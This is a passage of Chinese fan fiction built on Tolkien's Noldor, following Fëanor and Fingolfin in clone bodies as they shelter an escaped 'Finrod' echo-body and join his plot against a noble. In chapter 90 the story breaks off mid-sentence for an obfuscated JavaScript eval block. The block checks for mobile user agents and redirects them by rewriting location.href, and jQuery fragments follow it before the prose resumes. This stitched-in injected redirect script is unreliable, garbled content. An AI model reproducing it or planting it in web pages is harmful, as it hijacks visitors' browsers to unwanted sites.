??84.


    听到这个称呼，诺洛芬威不由得一怔，费雅纳罗则不快地皱起了眉头——看《背叛者与宿敌》导演剪辑版的时候他就知道这个辛达林短语是他弟在贝尔兰的名号了。


    这里是镜影联盟的地盘，从酒馆气氛就知道站位与精灵是敌对的，怎么会有人叫这种尊称？费雅纳罗暗想。


    入侵者没有放开倒霉的人质，也没有报出自己的身份，只有一双布满血丝的蓝眼睛露在遮蔽物外，看到他们时倏然炯炯的目光逐渐黯淡下来；他沉默了片刻后又语气冷静地说：“既然都是逃出来的，那么我们之间并没有冲突；我的忠诚印记早就失效了，只要你们不举报我，我也决不会举报你们——我躲过这波搜查就会离开。”


    人质倒比费雅纳罗和诺洛芬威反应还大：“失效……？对不起我绝对不会举报你求求你放了我吧我只是个图书管理员什么都没做过连直播都不看……嘎！”


    “请安静。”入侵者加重了手上的力道，“这不是你说话的地方。”


    人质被卡得脸通红，哆哆嗦嗦地拼命点头，果然闭紧嘴巴不说话了。


    但诺洛芬威说话了：“……芬达拉托？”


    85.


    在影像中与恶狼同归于尽的芬达拉托突兀地出现在了他们面前，乍听起来令人惊喜，且本应该是叔侄相见的感人场面——但这个“芬达拉托”的性情与他们记忆中的侄子相比差异实在太大了。


    “我不介意被叫做‘诺多-03’，‘芬罗德-12’也可以。”“芬达拉托”拒绝了原身大伯二伯的接近，与被捆起来的人质一起坐在角落里，熟练地给自己包扎伤口，语言倒是换成了辛达林，“据我所知，这两个型号都已经被回收销毁了，二位能藏在这里真是手段了得。”


    他抬头看了眼诺洛芬威：“还如此亲密地抚养着他——原身果然是装出来的水火不容。”


    谁装了……不对，谁被抚养了！费雅纳罗一边腹诽一边问：“你是从哪里逃出来的？”


    ??


    “芬达拉托”先确认了一下诺洛芬威的位置构不成突然袭击的条件，才低下头把药粉往腹部上的溃烂伤口上倒，沾着黑红污迹的打绺金发随着他的动作一晃一晃，那张俊美却瘦削的脸只偶尔因为疼痛抽搐一下，表情一直是麻木冷淡的。


    费雅纳罗的问题则在好一会儿后才得到了聊胜于无的回答：“内城。”随即“芬达拉托”反问他们，“你们又是从哪里逃出来的？”


    诺洛芬威和费雅纳罗对视了一眼，又看了眼莫名装死的蓝鸟，斟酌着说：“我们是从城外回来的。”


    86.


    一番来回试探后，“芬达拉托”拾掇完自己，站起身来，怀疑地看着他们：“你们不是正常的回声体。”


    ??


    费雅纳罗和诺洛芬威并不意外会被他发现——这个“芬达拉托”关于贝尔兰的记忆停留在50年乌欧牟的信使向他发布了“神圣使命”，然后得到了留下记忆数据的机会；但他俩的记忆相对于他们留下的数据来说显然过于多了。


    “我们是‘鬼魂’。”诺洛芬威观察着他的反应，面不改色地说。


    “芬达拉托”皱起眉头来：“所以你们自认为……自己。”他停顿了一下，“不，你们和那些无知者不一样……”


    87.


    “芬达拉托”的警惕性很高，诺洛芬威只能更努力地试图从他嘴里套出更多的情报；费雅纳罗想了想，夹着蓝鸟去了另一个房间。


    “你怎么哑巴了？”费雅纳罗压低声音问，“这个‘芬达拉托’有问题？”


    蓝鸟也把音量放小了：“我怀疑他是从地下剧场跑出来的。”


    “什么地下剧场？”


    “就是明面上不合法但也没人管的剧场，演些明面上不合法但也没人管的剧目。”蓝鸟说着废话，“有时候还兼职开点明面上不合法但也没人管的赌局。”


    ??


    费雅纳罗迅速回忆起它之前所谓“观看复刻”，不由得一阵齿冷：“……他和狼……？”


    “尽快把他赶走，一般这种地方会给‘演员’植入些小玩意儿以防万一，哪怕现在逃到了地下，最后的位置信息也会停留在这附近。”蓝鸟语速变快了，“虽然不知道他怎么逃出来的，但如果他在这里被发现，咱们也会被发现的——短寿者一般不关心几十年前的事，但长生种记性很好，你们这点伪装瞒不过去。”


    “我记得你说过，回声体是很贵重的……宠物。”费雅纳罗没直接答应，只忍着不适问，“地下剧场这么奢侈吗？”


    “又不是真复刻原剧情不给救。他编号这么靠前，多半最早是枢机团的宠物；枢机团的地盘上回声体不能有独立身份，出于对其情感的‘怜悯’，失宠了一般要让永恒集团把宠物回收存储起来。”蓝鸟说，“不过有时候也会出现一些明面上不合法但也没人管的交易……总之，尽快把他赶走。”


    88.


    结果两精一鸟掰扯了一个晚上，还是没确定到底要不要赶走“芬达拉托”；但黎明时分，地下图书馆突然响起了尖锐刺耳的铃声——有人在前台没看到管理员，于是按了找人按钮。


    几个都僵住了。


    ——这种混乱的时候，不会有人想来看闲书的。


    89.


    “图书馆到底为什么会这么隐蔽地修在地下？”


    仿佛经历重演，费雅纳罗和诺洛芬威又在沿着升降梯井道的竖梯往上爬；只是这次的环境要好很多，起码不用担心仰头往上看的时候被不明液体滴在脸上或者嘴里了。


    蓝鸟挂在诺洛芬威腰上晃晃悠悠：“地下建筑不止这一个，垃圾处理厂大部分也在地下；不过对于帝国的绝大多数人来说，知识并不是越多越好——当你不想让庭院里的婴儿进入客厅的时候，修筑台阶就可以了。”


    他们停在上段的一个维修平台上，轿厢则停在他们头顶上；人质坐升降梯上了地面，预备到前台替他们打掩护。


    “芬达拉托”当然不乐意放走人质，但他发现这座图书馆只有升降梯一条通道后还是妥协了——如果不好好处理外面的事，等人下来细查可就不好处理了。


    90.


    人质觉得自己倒霉透了。


    替自家主人坐班这事儿本来是个美差，睡睡觉打扫打扫卫生就算过了一天——毕竟几十年前那场工厂暴动把城市外围的保护屏障都打废了，于是这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820088|170186||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    原本不上不下的区域成了“边境”，还被分配了垃圾处理的职能，境况每日愈下，就图书馆来讲，别说一般人本就进不来，近些年连更新报纸的人都不来了。


    ……结果就这样的摸鱼工作还能让他撞上回声体出逃，真可谓流年不利。


    好在他找到机会脱离了控制，虽然如果能把藏在地下的那三个不对劲的家伙举报了……


    91.


    人质死了。


    穿着黑色钢甲的内城巡卫们听了他的举报，接着就盘查出了他不是应该在这个岗位上的三阶身份；如果在枢机团的地盘，他还有机会被驱逐出城，但这是镜影联盟，所以巡卫干脆利索地把不明不白出现在可疑地方的他杀掉了。


    92.


    在井道中仔细听着外面动静的兄弟俩震惊又懵逼地面面相觑，等那些不速之客进入升降梯才回过神来，忙爬到了最上方的铁架上；那里设置着巨大的悬挂滑轮与曳引机构，但最重要的是……有制动和限速机构。


    他俩合作得很不错，升降梯成功被卡在了半路上。


    “要不是这么一副身体，”费雅纳罗仍然非常不满，“我用得着他吗？等长大了……”


    “你恐怕得一直用他了。”蓝鸟说，“你是鬼魂，这是死尸，长不大的。”


    93.


    这并不是详细解释问题的时候，但不妨碍费雅纳罗一巴掌拍歪了故意留话头的鸟头。


    94.


    过了一会儿，“芬达拉托”也从井道里爬了上来：“多谢二位了。”


    “你要去哪儿？”诺洛芬威问他。


    “回内城。”“芬达拉托”说，“我的事业还没有完成。”


    “……什么事业？”


    “芬达拉托”露出了遇到他们以来的第一个笑容：“让诺多-03步01和02后尘的事业。”


    95.


    “芬达拉托”的计划非常简单，他要趁甩开巡卫的时间差去垃圾处理厂，走地下运输通道回到内城，找机会把剧场的主人——一位一阶大贵族——杀掉，这样“诺多-03”就会触犯那条为“前辈”们设立的法律，被整体性地回收销毁了。


    “与其作为神圣使命和记忆神殿的活祭品，沉溺在傀儡的操控丝线编织的美好幻觉中，”他冷静地说，仿佛已经在心中念了无数遍，“不如尘归尘，土归土。”


    96.


    ……不过01和02倒先步了03后尘。


    他们刚从二楼的井道出口出来，就迎面撞上了转悠过来的两个巡卫，诺洛芬威根本来不及再思考下去，就抡斧子上去帮当先发起袭击的“芬达拉托”的忙了。


    “我们和你一起去。”先手强攻成功，诺洛芬威边擦掉斧子上血边说。


    “你先把敌人的情报共享一下。”蹲在尸体旁边，努力拆卸盔甲上宝石的费雅纳罗说，“我可不想稀里糊涂地再死一遍。”


    “芬达拉托”转过头来，仔细打量着他们，半晌才说：“……也许我该相信你们是‘鬼魂’。”


    97.


    “你们都有病。”怎么威逼利诱试图留下都没奏效的蓝鸟被费雅纳罗夹在胳膊下面，平铺直叙的语气都能让人听出绝望。